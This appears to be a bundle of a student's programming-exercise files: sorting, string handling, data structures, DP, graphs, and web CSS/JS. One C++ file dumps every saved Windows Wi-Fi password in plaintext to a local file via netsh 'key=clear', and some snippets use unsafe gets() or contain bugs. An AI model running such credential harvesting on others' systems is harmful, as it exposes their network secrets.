//Merge sort merges the array in Postorder fashion i.e. lchild->rchild->root
//Among comparison based sorting techniques, only merge sort uses auxiliary space.
//It uses space both for auxiliary array - (n) and Stack in recursion - (logn)
//Thus total auxilary space used by merge sort = n + logn

//Merge Sort is stable.

#include <stdio.h>

void Merge(int A[], int l, int mid, int h)
{
    int i=l, j = mid+1, k = 0;
    int C[h-l+1];
    while(i <= mid && j <= h)
    {
        if(A[i] <= A[j])
            C[k++] = A[i++];
        else if(A[i] > A[j])
            C[k++] = A[j++];
    }
    while(i <= mid) C[k++] = A[i++];
    while(j <= h) C[k++] = A[j++];

    for(int i=l; i <= h; i++){A[i] = C[i-l];}
}

void MergeSort(int A[], int l, int h){
    if(l < h)
    {
        int mid = (l+h)/2;
        MergeSort(A, l, mid);
        MergeSort(A, mid+1, h);
        Merge(A, l, mid, h);
    }
}

//Iterative version of Mege Sort
void IMergeSort(int A[], int n)
{
    int p, i, l, mid, h;
    for(p = 2; p <= n; p = p*2){
        for(i = 0; i+p-1 < n; i = i+p){
            l = i;
            h = i+p-1;
            mid = (l+h)/2;
            Merge(A, l, mid, h);
        }
        if(i < n)
            Merge(A, i, (i+n-1)/2, n-1);
    }
    if(p/2 < n)
        Merge(A, 0, p/2-1, n-1);
}

int main()
{
    int A[] = {8, 3, 7, 4, 9, 2, 6, 14, 89, 31, 12, 67, 76, 105, 0};
    int n = sizeof(A)/sizeof(A[0]);

    IMergeSort(A, n);
    //Display
    printf("Sorted : ");
    for(int i=0; i < n; i++)
        printf("%d ", A[i]);
    printf("\n");
    return 0;
}

<|start_filename|>DSA/Strings/filling_spaces.cpp<|end_filename|>
#include<iostream>
#include<string.h>
using namespace std;

int main ()

    {   
        char str[100];
        gets(str);

        for (int i = 0; str[i] !='\0'; i++)

        {
    	    if (str[i] == ' ')
              str[i]='%';
        }			

        cout<<str;
        return 0; 
    }

<|start_filename|>CPP/win_wifi_pass_extract.cpp<|end_filename|>
#include <iostream>
#include <fstream>
#include <cstdio>
#include <memory>
#include <stdexcept>
#include <string>
#include <array>
#include <istream>
#include <cstdlib>
#include <vector>
#include <regex>
#include <algorithm>
#include <iterator>
using namespace std;

string exec(const char* cmd) {
	array<char, 128> buffer;
	string result;
	unique_ptr<FILE, decltype(&_pclose)> pipe(_popen(cmd, "r"), _pclose);
	if (!pipe) {
		throw runtime_error("popen() failed!");
	}
	while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
		result += buffer.data();
	}
	return result;
}

int main() {
	fstream wifienumfile;
	string wifienumRSLT,wifienumlines,wifienumwifiname,wifienumcmd,wifienumwifiprofiles;
	vector <string> wifienumwifis;
	regex wifienumreplace0("    All User Profile     : ");
	string wifienumreplace1 = "-\n";
	wifienumfile.open("WifiExtractorRSLT.txt", fstream::in | fstream::out | fstream::trunc);
	wifienumwifiprofiles = exec("netsh WLAN show profiles");
	while (wifienumwifiprofiles.find(wifienumreplace1) != string::npos)
	{
		wifienumwifiprofiles.erase(0,wifienumwifiprofiles.find(wifienumreplace1)+2);
	}
	wifienumwifiprofiles = regex_replace(wifienumwifiprofiles,wifienumreplace0, "");
	ofstream wifienumfile1("wifis.txt");
	wifienumfile1 << wifienumwifiprofiles;
	wifienumfile1.close();
	ifstream wifienumfile1i("wifis.txt");
	while(getline(wifienumfile1i, wifienumlines, '\n'))
	{
		wifienumwifis.push_back(wifienumlines);
	}
	wifienumfile1i.close();
	for (string wifienumwifiname : wifienumwifis) {
		wifienumcmd = "netsh WLAN show profile \"" + wifienumwifiname + "\" key=clear";
		const char* wifienumc = wifienumcmd.c_str();
		if (wifienumwifiname == "")
		{
			break;
		}
		wifienumRSLT += exec(wifienumc);
	}
	wifienumfile << wifienumRSLT;
	wifienumfile.close();
}


<|start_filename|>CPP/fifo.cpp<|end_filename|>
/*
Author:       <NAME>
Topic:      First In First Out (FIFO)
Description: Pushing Values to an Empty Array and then poping out those values
*/

#include <iostream>

using namespace std;

class FIFO				// Parent Class
{
protected:			
	int st[5] = {};		// An Empty Array
	int top;
	int tail;
public:
	FIFO(): top(-1), tail(-1)
	{
		// No arg constructor
	}
	void push(int var)		// Pushing values
	{
		cout << "Push = " << var << endl; 
		st[++top] = var;
	}
	int pop()				// Take number off Queue
	{
		return st[++tail];	// Returns the deleted integer
	}
};

class FIFO2 : public FIFO		// Child Class
{
public:
	FIFO2() : FIFO()
	{
		// No Arg Constructor of Parent Class
	}

	void push (int var)
	{
		if (top == 4)		// If stack gets full top = size - 1
		{
			cout << "Fifo is Full" << endl;
		}
		else
		{
			// Calling Parent's function
			FIFO::push(var);
		}
	}
	int pop ()
	{
		if ( top == tail)	// When top and tail gets equal it means the stack is empty 
		{
			cout << "Fifo is Empty" << endl;
			top = -1;		// Setting both values to -1 to use later
			tail = -1;
			return -1;
		}
		else
		{
			// Calling Parent's Function
			FIFO::pop();
		}
	}
};


int main()
{
	FIFO2 f;
	// Pushing 6 values 
	f.push(11);
	f.push(22);
	f.push(33);
	f.push(44);
	f.push(55);
	f.push(66);			// Full Condition
	// Poping values 
	cout << f.pop() << endl;	
	cout << f.pop() << endl;	
	cout << f.pop() << endl;	
	cout << f.pop() << endl;	
	cout << f.pop() << endl;	
	cout << f.pop() << endl;	// Empty array

	f.push(88);	
	f.push(99);

	cout << f.pop() << endl;	
	cout << f.pop() << endl;
		
	return 0;
}


<|start_filename|>Python/Sakha/Sakha/static/js/layout.js<|end_filename|>
/** ------------------------------
 *  Functionality related with sidebar when user is not logged in
 *  ----------------------------- */
const applicationStuff = document.querySelector('.navigation__application__stuffs');
const aboutBtn = document.querySelector('.navigation__about__btn');

if(aboutBtn) {
    aboutBtn.addEventListener('click', () => {
        applicationStuff.classList.toggle('navigation__application__show__stuffs');
    })
}


/** ------------------------------
 *  Functionality related with sidebar when user is logged in
 *  ----------------------------- */
const navigationProfileWrapper = document.querySelector('.navigation__user__profile__wrapper');

if (navigationProfileWrapper) {
    navigationProfileWrapper.addEventListener('click', () => {
        applicationStuff.classList.toggle('navigation__application__show__stuffs');
    })
}


/*--------------------------------
* Functionality related with hiding messages
* -------------------------------- */ 
const msgHideBtns = document.querySelectorAll('.msg__hide__btn');
const msgContainers = document.querySelectorAll('.msg--container');

if (msgContainers) {
    msgHideBtns.forEach((btn, index) => {
        btn.addEventListener('click', () => {
            msgContainers[index].style.display = 'none';
        });
    });
}

<|start_filename|>DSA/DP/min.steps to one.cpp<|end_filename|>
#include <iostream>
#include <climits>
using namespace std;

/*3 options:
1) n/3
2) n/2
3) n--
*/

int minSteps(int n,int dp[])
{
	int op1,op2,op3;
	op1=op2=op3=INT_MAX;

	if(n==1)
		return 0;

	if(dp[n]!=0)
		return dp[n];

	//first case
	if(n%3==0)
		op1=minSteps(n/3,dp);

	//second case
	if(n%2==0)
		op2=minSteps(n/2,dp);

	//third case
	op3=minSteps(n-1,dp);

	int ans;
	ans=min(min(op1,op2),op3)+1;

	return dp[n]=ans;
}

int main()
{
	int n;
	cin>>n;

	int dp[100]={0};

	cout<<minSteps(n,dp);
	
	return 0;
}

<|start_filename|>CPP/Data Structures/math/lcm.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int lcmfn(int a, int b)
{
    int res=max(a,b);
    while(1)
    {
        if(res%a==0 && res%b==0)
        return res;
        else
        res++;
    }
    return res;
}
int main()
{
    int a=4 ,b=6;
    cout<<lcmfn(a,b);
}

<|start_filename|>DSA/Competitive programming/myCPTemplate.cpp<|end_filename|>
#include <bits/stdc++.h> 
#include <bitset>
using namespace std;
 
#define for0(i, n) for (int i = 0; i < (int)(n); ++i) // 0 based indexing
#define for1(i, n) for (int i = 1; i <= (int)(n); ++i) // 1 based indexing
#define forr0(i, n) for (int i = (int)(n) - 1; i >= 0; --i) // reverse 0 based.
#define forr1(i, n) for (int i = (int)(n); i >= 1; --i) // reverse 1 based
 
//short hand for usual tokens
#define pb push_back
#define fi first
#define se second
 
// Avoiding wrap around of size()-1 where size is a unsigned int.
#define sz(a) int((a).size())
#define cn(n) cout<<n<<endl;
#define c(n) cout<<n<<" ";
#define nl cout<<endl;
 
// Shorthand for commonly used types
typedef vector<int> vi;
typedef vector<vi> vvi;
typedef pair<int, int> pii;
typedef long long ll;
typedef vector<ll> vll;
typedef vector<vll> vvll;
typedef double dl;
 
/*----------------------------------------------------------------------------------------------------------*/  
/*workspace */
 
int main() {
    ios::sync_with_stdio(false);
    cin.tie(0);
    cout.precision(10);
    cout << fixed;
   /*-------------------------------WRITE YOUR FUCKING CODE HEER-------------------------------------------*/
 

}
 
/*@dev7omprakash*/


<|start_filename|>CPP/Delete_vowels.cpp<|end_filename|>
//Program to delete all the vowels from a given string and print the resulting string 

#include<iostream>
using namespace std;

int main()
{
        char str[100];
        cout<<"\n Enter String : ";
        cin>>str;

        for(int i=0; str[i]!='\0'; i++)
        {
                if (str[i]=='a' || str[i]=='e' || str[i]=='i' || str[i]=='o' || str[i]=='u' || str[i]=='A' || str[i]=='E' || str[i]=='I'
|| str[i]=='O' || str[i]=='U')
                {
                        str[i]=' ';
                }
        }
        cout<<"\n String After Deleting Vowels : "<<str;
        return 0;
}


<|start_filename|>DSA/CP series/Kth_frequency.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n,k;
    cin>>n>>k;
    int a[n];

    for(int i=0;i<n;i++)
    cin>>a[i];

    unordered_map<int,int>m;
    vector<int>v;

    for(int i=0;i<n;i++)
    m[a[i]]++;

    for(auto x:m)
    {
        if(x.second>k)
        v.push_back(x.first);
    }
    if(v.empty())
    cout<<"-1";
    else
   for(auto x:v)
   cout<<x<<" ";
   cout<<endl;
}


<|start_filename|>DSA/CP series/precision.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   
   float x=1.3;

   cout<<round(x)<<endl; //1

    cout<<ceil(x)<<endl; //2

    cout<<floor(x)<<endl; //1

    cout<<trunc(x)<<endl; //1

    float y=1.32658;

    cout<<setprecision(2)<<y;
}


<|start_filename|>DSA/OOPS/complex_addition.cpp<|end_filename|>
#include <iostream>
using namespace std;

class Complex
{
    public:
    int real,img;
};

int main()
{
    Complex c1,c2,sum;
    c1.real=2,c1.img=3;
    c2.real=5,c2.img=4;

    sum.real=c1.real+c2.real;
    sum.img=c1.img+c2.img;

    cout<<sum.real<<"+"<<sum.img<<"i";
    return 0;
}



<|start_filename|>Python/Sakha/Sakha/static/css/profile.css<|end_filename|>
/************************
PROFILE SUB SECTION 2
*************************/
.profile--main--container {
  width: 100%;
  max-width: 840px;
  margin: 0 auto;
  background-color: var(--color-white);
  font-family: 'Poppins',sans-serif;
}

.profile__sub__container__one {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
}

.profile__header__img__container {
  width: 100%;
  height: 20em;
}

.profile__header__img__container img {
  width: 100%;
  height: 100%;
  display: block;
  -o-object-fit: cover;
     object-fit: cover;
}

.profile__avatar__img__container {
  position: relative;
}

.profile__avatar__img__container .avatar__container {
  text-align: Center;
  position: absolute;
  top: 50%;
  left: 50%;
  -webkit-transform: translate(-50%, -50%);
          transform: translate(-50%, -50%);
}

.profile__avatar__img__container .avatar__container h2 {
  font-family: 'Nunito',sans-serif;
  color: var(--h1-color);
  line-height: 1.1;
}

.profile__avatar__img__container .avatar__container p {
  color: var(--general-color);
}

.profile__navigation {
  top: 3.5em;
  right: -13em;
  position: absolute;
  background-color: var(--color-white);
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  padding: 1.5em .75em;
  -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, 0.35);
          box-shadow: 0 0 5px rgba(0, 0, 0, 0.35);
  border-radius: .5em;
}

.profile__navigation__hidden {
  display: none;
}

.profile__navigation__link {
  margin-bottom: .4em;
  padding: .2em .1em;
  letter-spacing: .03em;
  display: inline-block;
  text-decoration: none;
  color: var(--general-color);
  font-size: 1em;
  font-weight: 600;
  text-transform: uppercase;
}

.profile__navigation__link:hover, .profile__navigation__link:focus {
  opacity: .65;
}

.profile__navigation__link i {
  margin-right: .2em;
}

.profile__navigation__link:last-child {
  margin-bottom: 0;
}

.avatar__container a {
  height: 11em;
  width: 11em;
  display: inline-block;
  text-decoration: none;
  border-radius: 50%;
  border: 5px solid var(--color-white);
  background-color: var(--color-white);
  -webkit-box-shadow: 0 0 6px rgba(0, 0, 0, 0.3);
          box-shadow: 0 0 6px rgba(0, 0, 0, 0.3);
}

.avatar__container a img {
  width: 100%;
  height: 100%;
  display: block;
  -o-object-fit: cover;
     object-fit: cover;
  border-radius: 50%;
}

.profile__btn {
  position: absolute;
  top: 1em;
  right: -7.5em;
  background-color: transparent;
  outline: none;
  border: none;
  border-radius: .35em;
}

.profile__btn i {
  font-size: 1.5em;
  padding: .25em .35em;
  color: var(--general-color);
  background-color: #f8edff;
}

.profile__btn:hover i {
  background-color: #eae6ff;
  cursor: pointer;
}

/***************************
PROFILE SUB CONTAINER TWO
***************************/
.profile__sub__container__two {
  margin-top: 7em;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
  grid-row-gap: .75em;
  padding: 3em 2em;
  color: var(--profile-para-color);
}

.profile__sub__container__two i {
  margin-right: .5em;
}

.join__date__container {
  color: #3f3a43;
}

.follow__details__container {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.follow__details__container .followers__btn {
  margin-right: 1em;
}

.follow__details__container button {
  color: var(--h1-color);
  background: transparent;
  display: block;
  font-weight: 700;
  border: none;
  font-size: 1em;
  font-family: inherit;
}

.follow__details__container button:hover, .follow__details__container button:focus {
  opacity: .7;
  cursor: pointer;
}

/**************************
PROFILE USER POSTS SECTION
*************************/
.profile__user__posts {
  max-width: 540px;
  width: 90%;
  margin: 0 auto;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
  grid-row-gap: 2em;
}

.profile__user__posts__container {
  background-color: var(--home-logged-bg);
  padding: 2em 0;
}

.profile__user__posts article {
  width: 100%;
  background-color: var(--color-white);
  -webkit-box-shadow: 0 0 15px rgba(0, 0, 0, 0.15);
          box-shadow: 0 0 15px rgba(0, 0, 0, 0.15);
  border-radius: .5em;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
}

.profile__user__posts article:hover {
  -webkit-box-shadow: 0 0 20px rgba(0, 0, 0, 0.35);
          box-shadow: 0 0 20px rgba(0, 0, 0, 0.35);
}

.create__post__btn {
  text-transform: uppercase;
  display: block;
  text-decoration: none;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-color-1)), to(var(--btn-color-2)));
  background-image: linear-gradient(to top, var(--btn-color-1), var(--btn-color-2));
  color: var(--color-white);
  padding: 1em;
  font-weight: 500;
  font-family: 'Poppins',sans-serif;
  border: none;
  font-size: 1.2em;
  letter-spacing: .05em;
  -webkit-box-shadow: 0 0 4px var(--btn-shadow-color);
          box-shadow: 0 0 4px var(--btn-shadow-color);
  border-radius: .35em;
  text-align: center;
}

.create__post__btn__container {
  width: 100%;
  max-width: 540px;
  margin: 2em auto;
}

.create__post__btn:hover, .create__post__btn:focus {
  cursor: pointer;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-hover-color-1)), to(var(--btn-hover-color-2)));
  background-image: linear-gradient(to top, var(--btn-hover-color-1), var(--btn-hover-color-2));
}

.create__post__btn i {
  margin-right: .6em;
}

.post {
  /***************************
POST AUTHOR RELATED STYLING
***************************/
  /****************************
POST BUTTONS RELATED STYLING
*****************************/
}

.post__header {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: justify;
      -ms-flex-pack: justify;
          justify-content: space-between;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
  padding: 1em;
}

.post__author__container {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.post__author__img__wrapper a {
  text-decoration: none;
  display: block;
  margin-right: .6em;
  width: 3em;
  height: 3em;
  border-radius: 50%;
}

.post__author__img__wrapper img {
  width: 100%;
  height: 100%;
  -o-object-fit: cover;
     object-fit: cover;
  display: block;
  border-radius: 50%;
  border: 2px solid var(--general-color);
}

.post__author__name__container div {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.post__author__name__container div a {
  text-decoration: none;
  display: block;
}

.post__author__name__container .author__name {
  font-size: .9em;
  color: var(--h1-color);
  line-height: 1.3;
}

.post__author__name__container .author__name:hover, .post__author__name__container .author__name:focus {
  opacity: .65;
}

.post__author__name__container span {
  line-height: 1.2;
  font-size: .75em;
  display: block;
  color: #636166;
  font-weight: 600;
}

.post__related__btn__links__container {
  position: relative;
}

.post__related__btn__links__container .sideNavShowBtn,
.post__related__btn__links__container .sideNavHideBtn {
  background: transparent;
  border: none;
  cursor: pointer;
}

.post__related__btn__links__container .sideNavShowBtn i,
.post__related__btn__links__container .sideNavHideBtn i {
  padding: .15em;
}

.post__related__btn__links__container div {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  position: absolute;
  top: -1em;
  right: -1em;
  width: 8em;
  background-color: #f3ecff;
  padding: 2em .75em 1em;
  -webkit-clip-path: polygon(var(--x, 100%) 0, 100% 0, 100% 100%, var(--x, 100%) 100%);
          clip-path: polygon(var(--x, 100%) 0, 100% 0, 100% 100%, var(--x, 100%) 100%);
  -webkit-transition: -webkit-clip-path 200ms ease-in-out;
  transition: -webkit-clip-path 200ms ease-in-out;
  transition: clip-path 200ms ease-in-out;
  transition: clip-path 200ms ease-in-out, -webkit-clip-path 200ms ease-in-out;
}

.post__related__btn__links__container div a {
  font-size: .9em;
  text-decoration: none;
  display: block;
  color: var(--general-color);
}

.post__related__btn__links__container div a i {
  margin-right: .2em;
}

.post__related__btn__links__container div a:hover, .post__related__btn__links__container div a:focus {
  opacity: .7;
  cursor: pointer;
}

.post__related__btn__links__container div > a {
  margin-bottom: .25em;
}

.post__related__btn__links__container div .sideNavHideBtn {
  position: absolute;
  top: .75em;
  right: 1em;
}

.show__post__sidenav {
  --x:0;
}

/***************************
POST ASSETS
***************************/
.post__content__container {
  padding: 0 1em;
}

.post__content__container a {
  text-decoration: none;
  display: block;
  color: #333;
  font-family: 'Nunito',sans-serif;
  line-height: 1.5;
  font-size: 1em;
  margin-bottom: .5em;
}

.post__image__container a {
  text-decoration: none;
  display: block;
}

.post__image__container img {
  width: 100%;
  display: block;
}

/************************
LIKE AND COMMENT BTNS
*************************/
.post__footer {
  border-top: 1px solid var(--input-border-color);
  padding: .5em;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -ms-flex-pack: distribute;
      justify-content: space-around;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.heart__btn,
.comment__btn {
  text-decoration: none;
  display: block;
  color: #3f3d4f;
  border: none;
  background-color: transparent;
  font-size: 1.5em;
  cursor: pointer;
}

.heart__btn span,
.comment__btn span {
  font-size: .85em;
}

.heart__btn__active {
  color: var(--grad-color-1);
}

/***********************
MEDIA QUERIES
************************/
@media (min-width: 720px) {
  .profile__btn {
    right: -8.5em;
  }
}


<|start_filename|>Java/RemoveDuplicate.java<|end_filename|>
public class RemoveDuplicate {
    public static void main(String[] args) {
        String remove = "I love India";
        String newString="";
        for (int i = 0; i < remove.length(); i++) {
            String word=String.valueOf(remove.charAt(i));
            if(!newString.toLowerCase().contains(word.toLowerCase())||word.equals(" ")){
                newString+=word;
            }
        }
        System.out.println(newString);
    }
}


<|start_filename|>CPP/Leet Code Solutions/maximum-subarray/maximum-subarray.cpp<|end_filename|>
class Solution {
public:
    // we will use kadane's algorithm
    int maxSubArray(vector<int>& nums) {
        int max_sum = INT_MIN;
        int current_sum = 0;
        for(int i=0;i<nums.size();i++){
            current_sum += nums[i];
            max_sum = max(max_sum, current_sum);
            current_sum = max(0,current_sum);
        }
        return max_sum;
    }
};

<|start_filename|>DSA/Notes and examples/binarysearch.cpp<|end_filename|>
#include <iostream>
using namespace std;

int binarySearch(int arr[], int value)
{
    int start=0;
    int end=5;
    int mid;
    while(start<=end)
    {
        mid=(start+end)/2;
        if(arr[mid]==value)
        return mid;
        if(arr[mid]<value)
        start=mid+1;
        if(arr[mid]>value)
        end=mid-1;
    }
    return 0;
}


int main() {
    // find position/index of 4 provided the array should be sorted
    //instead of comparing to first element of array we will compare it to middle element
    //T(n)=O(logn)
    int arr[]={1,2,3,4,5};
    int i;
    int value=4;
    cout<<"given array is:\n";
    for(i=0;i<5;i++)
    cout<<arr[i]<<" \n";
    
    cout<<"index of 4 is = "<<binarySearch(arr,value);
    return 0;
}


<|start_filename|>CPP/Data Structures/math/trailing_zeros_in_factorial.cpp<|end_filename|>
/*#include<bits/stdc++.h>
using namespace std;
long long count_zero(long long n)
{
    long long count =0;
    while(n)
    {
        long long last_digit=n%10;
        if(last_digit==0)
        count++;
        n/=10;
    }
    return count;
}
long long factorial(long long n)
{
    long long fac=1;
    for(long long i=1;i<=n;i++)
    {
        fac*=i;
    }
    cout<<fac<<endl;
    return count_zero(fac);
}

int main()
{
    long long n=60;
    cout<<factorial(n);
}
wont work because of overflow 
*/
#include<bits/stdc++.h>
using namespace std; 
int count_trailing_zero(int n)
{
    int res=0;
    for(int i=5;i<=n;i=i*5)
    // every 5 and 2 pair will result in a zero since no of five will be always less we are taking that into account 
    {
        res=res+n/i;
    }
    return res;
}
int main()
{
    int n=4;// number for which you need to find the trailing zero in its factorial
    cout<<count_trailing_zero(n);
}


<|start_filename|>C/longest_common_subsequence.c<|end_filename|>
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>

int max(int a, int b)
{
    if(a>b)
        return a;
    else
        return b;
}

int main() {

    int a[101], b[101], k, res[101];
    int lcs[102][102]  = {0};
    int n,m, i, j;
    scanf("%d %d", &n, &m);
    for(i=0; i<n; ++i)
        scanf("%d", &a[i]);
    for(i=0; i<m; ++i)
        scanf("%d", &b[i]);
    for(i=0; i<n; ++i)
        for(j=0; j<m; ++j) 
        {
            if(a[i] == b[j])
                lcs[i+1][j+1] = lcs[i][j] + 1;
            else
                lcs[i+1][j+1] = max(lcs[i+1][j], lcs[i][j+1]);    
        }
    
    k = lcs[n][m];
    i=n;
    j=m;
    while(lcs[i][j])
    {
        if(a[i-1] == b[j-1])
        {
            res[--k] = a[i-1];
            --i;
            --j;
        }
        else
        {
            if(lcs[i-1][j] > lcs[i][j-1])
                --i;
            else
                --j;
        }
    }
    
    for(i=0; i<lcs[n][m]; ++i)
        printf("%d ", res[i]);
    
    return 0;
}

<|start_filename|>DSA/STL/reverse.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   int arr[]={1,2,3,4,5};

   reverse(arr,arr+5);

   for(int i=0;i<5;i++)
   cout<<arr[i];
}



<|start_filename|>DSA/Graphs/floyd_warshall.cpp<|end_filename|>
/** <NAME> is good for graphs having few hundred edges, as it has
 *  a runtime of O(v^3), but it is a APSP graph - meaning
 *  All Pair Shortest Path, it gives the shortest path between all the pairs **/

/** It uses a adjacency matrix to store the graph, and it uses dynamic programming
 *  to find the optimal way from node i to node j **/

/** Basically, it finds the shortest path from node i to j through a node k,
 *  it finds the distance between i -> k + k-> j and i -> j
 *  then updates the shortest path among the two **/

/** To show the adjacency matrix, we can put infinity to the nodes
 *  from which current node is not reachable **/

#include <bits/stdc++.h>
using namespace std;

const long long MAX = 1e16;

void setup(vector<vector<int>> adj, vector<vector<int>> &dp, vector<vector<int>> &next, int numNodes)
{
    for (int i = 0; i < numNodes; i++)
    {
        for (int j = 0; j < numNodes; j++)
        {
            dp[i][j] = adj[i][j];
            if (adj[i][j] != MAX)
                next[i][j] = j;
            // this is the shortest distance from i to j initially
        }
    }
}

void propagateNegativeCycle(vector<vector<int>> dp, vector<vector<int>> next, int numNodes)
{

    /** Run the FW algorithm a second time and if we find a distance lesser than the previous
     * that means those nodes are a part of a negative cycle and we mark them **/
    for (int k = 0; k < numNodes; k++)
    {
        for (int i = 0; i < numNodes; i++)
        {
            for (int j = 0; j < numNodes; j++)
            {
                if (dp[i][k] + dp[k][j] < dp[i][j])
                    dp[i][j] = INT32_MIN, next[i][j] = -1;
                // if the distance than previous, we encounter a cycle
            }
        }
    }
}

vector<vector<int>> floydWarshall(vector<vector<int>> adj, vector<vector<int>> dp, int numNodes)
{
    vector<vector<int>> next(numNodes, vector<int>(numNodes, 0));
    setup(adj, dp, next, numNodes);

    for (int k = 0; k < numNodes; k++)
    {
        for (int i = 0; i < numNodes; i++)
        {
            for (int j = 0; j < numNodes; j++)
            {
                if (dp[i][k] + dp[k][j] < dp[i][j])
                    dp[i][j] = dp[i][k] + dp[k][j], next[i][j] = next[i][k];
                // if the distance is lesser in going through other nodes
                // then we update the distance from i to j as going from k in the 'next' array
            }
        }
    }

    // go through here to ensure that graph doesnt have a negative cycle
    propagateNegativeCycle(dp, next, numNodes);

    return dp;
}

<|start_filename|>DSA/Notes and examples/DMA.cpp<|end_filename|>
#include <iostream>
using namespace std;
int main() {
    int n,i;
    cin>>n;

    //creating a dynamic array
    int *ptr=new int[10000];

    for(i=0;i<n;i++)
    cin>>ptr[i];

    for(i=0;i<n;i++)
    cout<<ptr[i]<<endl;

    //deleting memory
    delete [] ptr;
}



<|start_filename|>DSA/STL/pairs.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   pair<int,char> p;
   p.first=10;
   p.second='C';

   cout<<p.first<<endl;
   cout<<p.second;
}



<|start_filename|>CPP/subset_array1.cpp<|end_filename|>
// C++ program to find maximum average subarray
// of given length.
#include<bits/stdc++.h>
using namespace std;

// Returns beginning index of maximum average
// subarray of length 'k'
int findMaxAverage(int arr[], int n, int k)
{
	// Check if 'k' is valid
	if (k > n)
		return -1;

	// Create and fill array to store cumulative
	// sum. csum[i] stores sum of arr[0] to arr[i]
	int *csum = new int[n];
	csum[0] = arr[0];
	for (int i=1; i<n; i++)
	csum[i] = csum[i-1] + arr[i];

	// Initialize max_sm as sum of first subarray
	int max_sum = csum[k-1], max_end = k-1;

	// Find sum of other subarrays and update
	// max_sum if required.
	for (int i=k; i<n; i++)
	{
		int curr_sum = csum[i] - csum[i-k];
		if (curr_sum > max_sum)
		{
			max_sum = curr_sum;
			max_end = i;
		}
	}

	delete [] csum; // To avoid memory leak

	// Return starting index
	return max_end - k + 1;
}

// Driver program
int main()
{
	int arr[] = {1, 12, -5, -6, 50, 3};
	int k = 4;
	int n = sizeof(arr)/sizeof(arr[0]);
	cout << "The maximum average subarray of "
		"length "<< k << " begins at index "
		<< findMaxAverage(arr, n, k);
	return 0;
}


<|start_filename|>CPP/Data Structures/Trees/Generic Trees/treenode.h<|end_filename|>
#include<vector>
using namespace std;

template <typename t>
class treenode{
    public:
    t data;
    vector <treenode<t>*> children; 
    
    treenode(t data){
        this -> data = data;
    }
    
    ~treenode(){
        for (int i =0;i<children.size();i++){
            delete children[i];
        }
    }
};

<|start_filename|>DSA/DSA-VIT/Queues/queue_using_stacks.cpp<|end_filename|>
//queue using only 2 stacks
#include <bits/stdc++.h>
using namespace std;

class Queue{
    private:
    stack<int>s1,s2;

    public:
    void push(int data)
    {
        s1.push(data);
    }
    void pop()
    {
        // pop n-1 elements from s1 to s2 and pop last element from s1 to queue and then interchange s1,s2
        while(s1.size()>1)
        {
            int element=s1.top();
            s2.push(element);
            s1.pop();
        }
        //popping last element
        s1.pop();
        swap(s1,s2);
    }
    int front()
    {
        while(s1.size()>1)
        {
            int element=s1.top();
            s2.push(element);
            s1.pop();
        }
        int element=s1.top();
        s1.pop();
        s2.push(element);
        return element;
    }
    int size()
    {
        return (s1.size()+s2.size());
    }
    bool empty()
    {
        return size()==0;
    }
};

int main() {
    queue<int>q;

    for(int i=0;i<=3;i++)
    q.push(i);

    while(!q.empty())
    {
        cout<<q.front()<<" ";
        q.pop();
    }
}



<|start_filename|>Java/insertionSort.java<|end_filename|>
public static void insertionSort(int[] array) {
    for (int i = 1; i < array.length; i++) {
